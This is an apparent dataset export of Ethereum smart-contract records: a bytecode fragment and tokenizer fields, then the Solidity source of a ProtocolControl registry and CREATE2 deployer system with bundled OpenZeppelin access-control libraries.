16611e665760405162461bcd60e51b815260206004820152601860248201527718d8d19d5b99081dd85b1b195d081a5cc81b9bdd081cd95d60421b60448201526064016106b4565b600854611e7c906001600160a01b031683611629565b611e868282612263565b90505b600a54606490611ea390600160c01b900460ff168561230b565b611ead919061239b565b91508115611f2a57600a546001600160a01b0316611f075760405162461bcd60e51b8152602060048201526017602482015276195e1d1c98481dd85b1b195d081a5cc81b9bdd081cd95d604a1b60448201526064016106b4565b600a54611f1d906001600160a01b031683611629565b611f278282612263565b90505b80156116cc576009546001600160a01b0316611f885760405162461bcd60e51b815260206004820152601c60248201527f6d657461436172626f6e2077616c6c6574206973206e6f74207365740000000060448201526064016106b4565b6009546116cc906001600160a01b031682611629565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691611ffa9190612343565b6000604051808303816000865af19150503d8060008114612037576040519150601f19603f3d011682016040523d82523d6000602084013e61203c565b606091505b5091509150818015612066575080511580612066575080806020019051810190612066919061237e565b6110145760405162461bcd60e51b815260206004820152600260248201526114d560f21b60448201526064016106b4565b6001600160a01b03811681146113c357600080fd5b6000602082840312156120be57600080fd5b81356120c981612097565b9392505050565b803560ff811681146120e157600080fd5b919050565b600080600080600060a086880312156120fe57600080fd5b612107866120d0565b9450612115602087016120d0565b9350612123604087016120d0565b9250612131606087016120d0565b915061213f608087016120d0565b90509295509295909350565b60008060006060848603121561216057600080fd5b833561216b81612097565b95602085013595506040909401359392505050565b6000806040838503121561219357600080fd5b823561219e81612097565b946020939093013593505050565b6000602082840312156121be57600080fd5b5035919050565b80151581146113c357600080fd5b6000602082840312156121e557600080fd5b81356120c9816121c5565b60208082526010908201526f14d85b19481a5cc8191a5cd8589b195960821b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156122435761224361221a565b500190565b600060001982141561225c5761225c61221a565b5060010190565b6000828210156122755761227561221a565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601b908201527f7a65726f20616464726573732063616e6e6f7420626520757365640000000000604082015260600190565b600060ff821660ff84168060ff038211156123035761230361221a565b019392505050565b60008160001904831182151516156123255761232561221a565b500290565b60006020828403121561233c57600080fd5b5051919050565b6000825160005b81811015612364576020818601810151858301520161234a565b81811115612373576000828501525b509190910192915050565b60006020828403121561239057600080fd5b81516120c9816121c5565b6000826123b857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220e987f6d22ed3d1bb02dda1b2164b9c68cec72752f91e6ea316b7089c69b9f0f664736f6c63430008090033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2683,
14697,
2063,
29097,
19841,
2063,
2509,
2278,
2546,
2629,
2497,
23632,
2475,
2050,
2581,
11057,
21084,
2620,
2278,
16932,
2620,
2094,
2692,
2278,
22610,
2692,
2575,
2094,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1016,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
8860,
1013,
4651,
16001,
4842,
1012,
14017,
1000,
1025,
3206,
9413,
2278,
11387,
24375,
5104,
9453,
2003,
2219,
3085,
1063,
22017,
2140,
2270,
2003,
8189,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,569 | 0x9559F8A57931b85567350Cb50538ec0fc437F8c9 | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Create2.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./interfaces/IControlDeployer.sol";
import { Registry } from "./Registry.sol";
import { ProtocolControl } from "./ProtocolControl.sol";
contract ControlDeployer is AccessControl, IControlDeployer {
bytes32 public constant REGISTRY_ROLE = keccak256("REGISTRY_ROLE");
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/// @dev Deploys an instance of `ProtocolControl`
function deployControl(
uint256 nonce,
address deployer,
string memory uri
) external override returns (address control) {
// Get registry address.
address registry = _msgSender();
require(hasRole(REGISTRY_ROLE, registry), "invalid registry");
// Deploy `ProtocolControl`
bytes memory controlBytecode = abi.encodePacked(
type(ProtocolControl).creationCode,
abi.encode(registry, deployer, uri)
);
// CREATE2: new_address = hash(0xFF, sender, salt, bytecode)
bytes32 salt = keccak256(abi.encodePacked(registry, deployer, nonce));
control = Create2.deploy(0, salt, controlBytecode);
emit DeployedControl(registry, deployer, control);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.
* `CREATE2` can be used to compute in advance the address where a smart
* contract will be deployed, which allows for interesting new mechanisms known
* as 'counterfactual interactions'.
*
* See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more
* information.
*/
library Create2 {
/**
* @dev Deploys a contract using `CREATE2`. The address where the contract
* will be deployed can be known in advance via {computeAddress}.
*
* The bytecode for a contract can be obtained from Solidity with
* `type(contractName).creationCode`.
*
* Requirements:
*
* - `bytecode` must not be empty.
* - `salt` must have not been used for `bytecode` already.
* - the factory must have a balance of at least `amount`.
* - if `amount` is non-zero, `bytecode` must have a `payable` constructor.
*/
function deploy(
uint256 amount,
bytes32 salt,
bytes memory bytecode
) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the
* `bytecodeHash` or `salt` will result in a new destination address.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {
return computeAddress(salt, bytecodeHash, address(this));
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at
* `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.
*/
function computeAddress(
bytes32 salt,
bytes32 bytecodeHash,
address deployer
) internal pure returns (address) {
bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));
return address(uint160(uint256(_data)));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
interface IControlDeployer {
/// @dev Emitted when an instance of `ProtocolControl` is deployed.
event DeployedControl(address indexed registry, address indexed deployer, address indexed control);
/// @dev Deploys an instance of `ProtocolControl`
function deployControl(
uint256 nonce,
address deployer,
string memory uri
) external returns (address);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// CREATE2 -- contract deployment.
import "@openzeppelin/contracts/utils/Create2.sol";
// Access Control
import "@openzeppelin/contracts/access/Ownable.sol";
// Protocol Components
import { IControlDeployer } from "./interfaces/IControlDeployer.sol";
import { Forwarder } from "./Forwarder.sol";
import { ProtocolControl } from "./ProtocolControl.sol";
contract Registry is Ownable {
uint256 public constant MAX_PROVIDER_FEE_BPS = 1000; // 10%
uint256 public defaultFeeBps = 500; // 5%
/// @dev service provider / admin treasury
address public treasury;
/// @dev `Forwarder` for meta-transacitons
address public forwarder;
/// @dev The Create2 `ProtocolControl` contract factory.
IControlDeployer public deployer;
struct ProtocolControls {
// E.g. if `latestVersion == 2`, there are 2 `ProtocolControl` contracts deployed.
uint256 latestVersion;
// Mapping from version => contract address.
mapping(uint256 => address) protocolControlAddress;
}
/// @dev Mapping from app deployer => versions + app addresses.
mapping(address => ProtocolControls) private _protocolControls;
/// @dev Mapping from app (protocol control) => protocol provider fees for the app.
mapping(address => uint256) private protocolControlFeeBps;
/// @dev Emitted when the treasury is updated.
event TreasuryUpdated(address newTreasury);
/// @dev Emitted when a new deployer is set.
event DeployerUpdated(address newDeployer);
/// @dev Emitted when the default protocol provider fees bps is updated.
event DefaultFeeBpsUpdated(uint256 defaultFeeBps);
/// @dev Emitted when the protocol provider fees bps for a particular `ProtocolControl` is updated.
event ProtocolControlFeeBpsUpdated(address indexed control, uint256 feeBps);
/// @dev Emitted when an instance of `ProtocolControl` is migrated to this registry.
event MigratedProtocolControl(address indexed deployer, uint256 indexed version, address indexed controlAddress);
/// @dev Emitted when an instance of `ProtocolControl` is deployed.
event NewProtocolControl(
address indexed deployer,
uint256 indexed version,
address indexed controlAddress,
address controlDeployer
);
constructor(
address _treasury,
address _forwarder,
address _deployer
) {
treasury = _treasury;
forwarder = _forwarder;
deployer = IControlDeployer(_deployer);
}
/// @dev Deploys `ProtocolControl` with `_msgSender()` as admin.
function deployProtocol(string memory uri) external {
// Get deployer
address caller = _msgSender();
// Get version for deployment
uint256 version = getNextVersion(caller);
// Deploy contract and get deployment address.
address controlAddress = deployer.deployControl(version, caller, uri);
_protocolControls[caller].protocolControlAddress[version] = controlAddress;
emit NewProtocolControl(caller, version, controlAddress, address(deployer));
}
/// @dev Returns the latest version of protocol control.
function getProtocolControlCount(address _deployer) external view returns (uint256) {
return _protocolControls[_deployer].latestVersion;
}
/// @dev Returns the protocol control address for the given version.
function getProtocolControl(address _deployer, uint256 index) external view returns (address) {
return _protocolControls[_deployer].protocolControlAddress[index];
}
/// @dev Lets the owner migrate `ProtocolControl` instances from a previous registry.
function addProtocolControl(address _deployer, address _protocolControl) external onlyOwner {
// Get version for protocolControl
uint256 version = getNextVersion(_deployer);
_protocolControls[_deployer].protocolControlAddress[version] = _protocolControl;
emit MigratedProtocolControl(_deployer, version, _protocolControl);
}
/// @dev Sets a new `ProtocolControl` deployer in case `ProtocolControl` is upgraded.
function setDeployer(address _newDeployer) external onlyOwner {
deployer = IControlDeployer(_newDeployer);
emit DeployerUpdated(_newDeployer);
}
/// @dev Sets a new protocol provider treasury address.
function setTreasury(address _newTreasury) external onlyOwner {
treasury = _newTreasury;
emit TreasuryUpdated(_newTreasury);
}
/// @dev Sets a new `defaultFeeBps` for protocol provider fees.
function setDefaultFeeBps(uint256 _newFeeBps) external onlyOwner {
require(_newFeeBps <= MAX_PROVIDER_FEE_BPS, "Registry: provider fee cannot be greater than 10%");
defaultFeeBps = _newFeeBps;
emit DefaultFeeBpsUpdated(_newFeeBps);
}
/// @dev Sets the protocol provider fee for a particular instance of `ProtocolControl`.
function setProtocolControlFeeBps(address protocolControl, uint256 _newFeeBps) external onlyOwner {
require(_newFeeBps <= MAX_PROVIDER_FEE_BPS, "Registry: provider fee cannot be greater than 10%");
protocolControlFeeBps[protocolControl] = _newFeeBps;
emit ProtocolControlFeeBpsUpdated(protocolControl, _newFeeBps);
}
/// @dev Returns the protocol provider fee for a particular instance of `ProtocolControl`.
function getFeeBps(address protocolControl) external view returns (uint256) {
uint256 fees = protocolControlFeeBps[protocolControl];
if (fees == 0) {
return defaultFeeBps;
}
return fees;
}
/// @dev Returns the next version of `ProtocolControl` for the given `_deployer`.
function getNextVersion(address _deployer) internal returns (uint256) {
// Increment version
_protocolControls[_deployer].latestVersion += 1;
return _protocolControls[_deployer].latestVersion;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
// Access Control
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
// Registry
import { Registry } from "./Registry.sol";
import { Royalty } from "./Royalty.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ProtocolControl is AccessControlEnumerable {
/// @dev MAX_BPS for the contract: 10_000 == 100%
uint128 public constant MAX_BPS = 10000;
/// @dev Module ID => Module address.
mapping(bytes32 => address) public modules;
/// @dev Module type => Num of modules of that type.
mapping(uint256 => uint256) public numOfModuleType;
/// @dev module address => royalty address
mapping(address => address) private moduleRoyalty;
/// @dev The top level app registry.
address public registry;
/// @dev Deployer's treasury
address public royaltyTreasury;
/// @dev The Forwarder for this app's modules.
address private _forwarder;
/// @dev Contract level metadata.
string private _contractURI;
/// @dev Events.
event ModuleUpdated(bytes32 indexed moduleId, address indexed module);
event TreasuryUpdated(address _newTreasury);
event ForwarderUpdated(address _newForwarder);
event FundsWithdrawn(address indexed to, address indexed currency, uint256 amount, uint256 fee);
event EtherReceived(address from, uint256 amount);
event RoyaltyTreasuryUpdated(
address indexed protocolControlAddress,
address indexed moduleAddress,
address treasury
);
/// @dev Check whether the caller is a protocol admin
modifier onlyProtocolAdmin() {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender),
"ProtocolControl: Only protocol admins can call this function."
);
_;
}
constructor(
address _registry,
address _admin,
string memory _uri
) {
// Set contract URI
_contractURI = _uri;
// Set top level ap registry
registry = _registry;
// Set default royalty treasury address
royaltyTreasury = address(this);
// Set access control roles
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
}
/// @dev Lets the contract receive ether.
receive() external payable {
emit EtherReceived(msg.sender, msg.value);
}
/// @dev Initialize treasury payment royalty splitting pool
function setRoyaltyTreasury(address payable _treasury) external onlyProtocolAdmin {
require(_isRoyaltyTreasuryValid(_treasury), "ProtocolControl: provider shares too low.");
royaltyTreasury = _treasury;
emit RoyaltyTreasuryUpdated(address(this), address(0), _treasury);
}
/// @dev _treasury must be PaymentSplitter compatible interface.
function setModuleRoyaltyTreasury(address moduleAddress, address payable _treasury) external onlyProtocolAdmin {
require(_isRoyaltyTreasuryValid(_treasury), "ProtocolControl: provider shares too low.");
moduleRoyalty[moduleAddress] = _treasury;
emit RoyaltyTreasuryUpdated(address(this), moduleAddress, _treasury);
}
/// @dev validate to make sure protocol provider (the registry) gets enough fees.
function _isRoyaltyTreasuryValid(address payable _treasury) private view returns (bool) {
// Get `Royalty` and `Registry` instances
Royalty royalty = Royalty(_treasury);
Registry _registry = Registry(registry);
// Calculate the protocol provider's shares.
uint256 royaltyRegistryShares = royalty.shares(_registry.treasury());
uint256 royaltyTotalShares = royalty.totalShares();
uint256 registryCutBps = (royaltyRegistryShares * MAX_BPS) / royaltyTotalShares;
// 10 bps (0.10%) tolerance in case of precision loss
// making sure registry treasury gets at least the fee's worth of shares.
uint256 feeBpsTolerance = 10;
return registryCutBps >= (_registry.getFeeBps(address(this)) - feeBpsTolerance);
}
/// @dev Returns the Royalty payment splitter for a particular module.
function getRoyaltyTreasury(address moduleAddress) external view returns (address) {
address moduleRoyaltyTreasury = moduleRoyalty[moduleAddress];
if (moduleRoyaltyTreasury == address(0)) {
return royaltyTreasury;
}
return moduleRoyaltyTreasury;
}
/// @dev Lets a protocol admin add a module to the protocol.
function addModule(address _newModuleAddress, uint256 _moduleType)
external
onlyProtocolAdmin
returns (bytes32 moduleId)
{
// `moduleId` is collision resitant -- unique `_moduleType` and incrementing `numOfModuleType`
moduleId = keccak256(abi.encodePacked(numOfModuleType[_moduleType], _moduleType));
numOfModuleType[_moduleType] += 1;
modules[moduleId] = _newModuleAddress;
emit ModuleUpdated(moduleId, _newModuleAddress);
}
/// @dev Lets a protocol admin change the address of a module of the protocol.
function updateModule(bytes32 _moduleId, address _newModuleAddress) external onlyProtocolAdmin {
require(modules[_moduleId] != address(0), "ProtocolControl: a module with this ID does not exist.");
modules[_moduleId] = _newModuleAddress;
emit ModuleUpdated(_moduleId, _newModuleAddress);
}
/// @dev Sets contract URI for the contract-level metadata of the contract.
function setContractURI(string calldata _URI) external onlyProtocolAdmin {
_contractURI = _URI;
}
/// @dev Lets the admin set a new Forwarder address [NOTE: for off-chain convenience only.]
function setForwarder(address forwarder) external onlyProtocolAdmin {
_forwarder = forwarder;
emit ForwarderUpdated(forwarder);
}
/// @dev Returns the URI for the contract-level metadata of the contract.
function contractURI() public view returns (string memory) {
return _contractURI;
}
/// @dev Returns all addresses for a module type
function getAllModulesOfType(uint256 _moduleType) external view returns (address[] memory allModules) {
uint256 numOfModules = numOfModuleType[_moduleType];
allModules = new address[](numOfModules);
for (uint256 i = 0; i < numOfModules; i += 1) {
bytes32 moduleId = keccak256(abi.encodePacked(i, _moduleType));
allModules[i] = modules[moduleId];
}
}
/// @dev Returns the forwarder address stored on the contract.
function getForwarder() public view returns (address) {
if (_forwarder == address(0)) {
return Registry(registry).forwarder();
}
return _forwarder;
}
function withdrawFunds(address to, address currency) external onlyProtocolAdmin {
Registry _registry = Registry(registry);
IERC20 _currency = IERC20(currency);
address registryTreasury = _registry.treasury();
uint256 registryTreasuryFee = 0;
uint256 amount = 0;
if (currency == address(0)) {
amount = address(this).balance;
} else {
amount = _currency.balanceOf(address(this));
}
registryTreasuryFee = (amount * _registry.getFeeBps(address(this))) / MAX_BPS;
amount = amount - registryTreasuryFee;
if (currency == address(0)) {
(bool sent, ) = payable(to).call{ value: amount }("");
require(sent, "failed to withdraw funds");
(bool sentRegistry, ) = payable(registryTreasury).call{ value: registryTreasuryFee }("");
require(sentRegistry, "failed to withdraw funds to registry");
emit FundsWithdrawn(to, currency, amount, registryTreasuryFee);
} else {
require(_currency.transferFrom(_msgSender(), to, amount), "failed to transfer payment");
require(
_currency.transferFrom(_msgSender(), registryTreasury, registryTreasuryFee),
"failed to transfer payment to registry"
);
emit FundsWithdrawn(to, currency, amount, registryTreasuryFee);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
